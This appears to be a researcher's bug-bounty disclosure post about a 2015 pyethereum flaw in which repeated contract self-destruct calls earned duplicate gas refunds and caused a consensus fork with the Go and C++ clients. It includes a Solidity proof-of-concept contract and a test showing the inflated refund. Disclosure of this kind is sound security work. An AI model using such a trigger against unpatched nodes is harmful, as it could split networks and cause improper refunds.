Pyeth vulnerability

I looked a bit into the python client for Ethereum, and found another bounty-bug; this time worth 4 BTC.

Gas refund issue with suicide

Thre are two VM implementations in the codebase, I’m not sure which one is used normally, but they both call ext.add_suicide(msg.to) when the SUICIDE operation is invoked.

ethereum/vm.py:

elif op == 'SUICIDE': to = utils.encode_int(stk.pop()) to = ((b'\x00' * (32 - len(to))) + to)[12:] xfer = ext.get_balance(msg.to) ext.set_balance(msg.to, 0) ext.set_balance(to, ext.get_balance(to) + xfer) ext.add_suicide(msg.to)

/ethereum/fastvm.py:

elif op == op_SUICIDE: to = utils.encode_int(stk.pop()) to = ((b'\x00' * (32 - len(to))) + to)[12:] xfer = ext.get_balance(msg.to) ext.set_balance(msg.to, 0) ext.set_balance(to, ext.get_balance(to) + xfer) ext.add_suicide(msg.to)

The method add_suicide is specified as a lambda-function which just calls append on block.suicides in ethereum/processblock.py :

self.add_suicide = lambda x: block.suicides.append(x)

The suicides in a block is a standard python list .

ethereum/blocks.py:

self.suicides = [] self.logs = []

Thus, two subsequent suicides by the same caller results - or rather, with the same key ( address ), would wind up as two entries within the list. Upon further processing after transaction exection, refunds are calculated.

ethereum/processblock.py:

block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND

This yields refunds for each time that suicide has been called.

Multiple suicide

Is it possible to commit suicide several times ?

Yes. But it requires some trickery, since suicide is basically the same as immediate return, which can be seen in this snippet from the go-client:

case RETURN: offset, size := stack.pop(), stack.pop() ret := mem.GetPtr(offset.Int64(), size.Int64()) return context.Return(ret), nil case SUICIDE: receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop())) balance := statedb.GetBalance(context.Address()) receiver.AddBalance(balance) statedb.Delete(context.Address()) fallthrough case STOP: // Stop the context return context.Return(nil), nil

All three cases, RETURN , SUICIDE and STOP are basically the same. If we use the CALL -opcode to call suicide, we can keep executing after the call returns.

contract Killer { function homicide() { suicide(msg.sender); } function multipleHomocide() { Killer k = this; k.homicide(); k.homicide(); } }

The function above really calls itself, however, if we were to just call homocide() directly, the solc compiler would use internal JUMP instead of CALL . We can change that by pretending that we’re calling another contract with the Killer k = this; construction.

Verification

I verified this by adding a testcase within pyethereum/ethereum/tests/test_solidity.py. Two identical contracts, but one being killed several times.

solidity_suicider = """ contract Killer { function homicide() { suicide(msg.sender); } function multipleHomocide() { Killer k = this; k.homicide(); } } """ solidity_suicider2 = """ contract Killer { function homicide() { suicide(msg.sender); } function multipleHomocide() { Killer k = this; k.homicide(); k.homicide(); k.homicide(); k.homicide(); } } """ def test_suicides(): s = tester.state() c = s.abi_contract(solidity_suicider, language='solidity', sender=tester.k0) c2 = s.abi_contract(solidity_suicider2, language='solidity', sender=tester.k0) c.multipleHomocide(); c2.multipleHomocide();

I also added some printouts to the block processor (processblock.py):

if len(block.suicides) > 0 : print("Calculating block refunds. len(block.suicides) = %d " % len(block.suicides)) block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND if block.refunds > 0: log_tx.debug('Refunding', gas_refunded=min(block.refunds, gas_used // 2)) print('Refunding %d ' % min(block.refunds, gas_used // 2)) gas_remained += min(block.refunds, gas_used // 2)

And executed the test. Some lines snipped for brevity:

#py.test test_solidity.py -s ============================================================================ test session starts ============================================================================ platform linux2 -- Python 2.7.6 -- py-1.4.30 -- pytest-2.7.2 rootdir: /data/tools/pyethereum, inifile: plugins: timeout collecting 0 itemsWARNING:eth.pow using pure python implementation collected 1 items test_solidity.py 0 236 Calculating block refunds. len(block.suicides) = 1 Refunding 10814 Calculating block refunds. len(block.suicides) = 4 Refunding 11162

Go and C++ clients

The C++ client uses a std::set<address , ensuring uniqueness.

The Go-client uses a two step process.

First the gas calculation:

case SUICIDE: if !statedb.IsDeleted(context.Address()) { statedb.Refund(params.SuicideRefundGas) }

Secondly, the actual execution:

case SUICIDE: receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop())) balance := statedb.GetBalance(context.Address()) receiver.AddBalance(balance) statedb.Delete(context.Address())

Thereby, when the operation is executed, the Delete operation on statedb is called, preventing it from being refunded again the next time.

Conclusion

Whenever we wind up with a different result between different clients, in this case python versus Go and C++, it’s a consensus issue; a.k.a fork. Forks are bad, but also eligible for rewards! I’m still only at second place on the ethereum bug bounty leaderboard though…

The issue was fixed by Vitalik Buterin in a couple of days ago for version 0.9.73 and an advisory was issued.

2015-08-15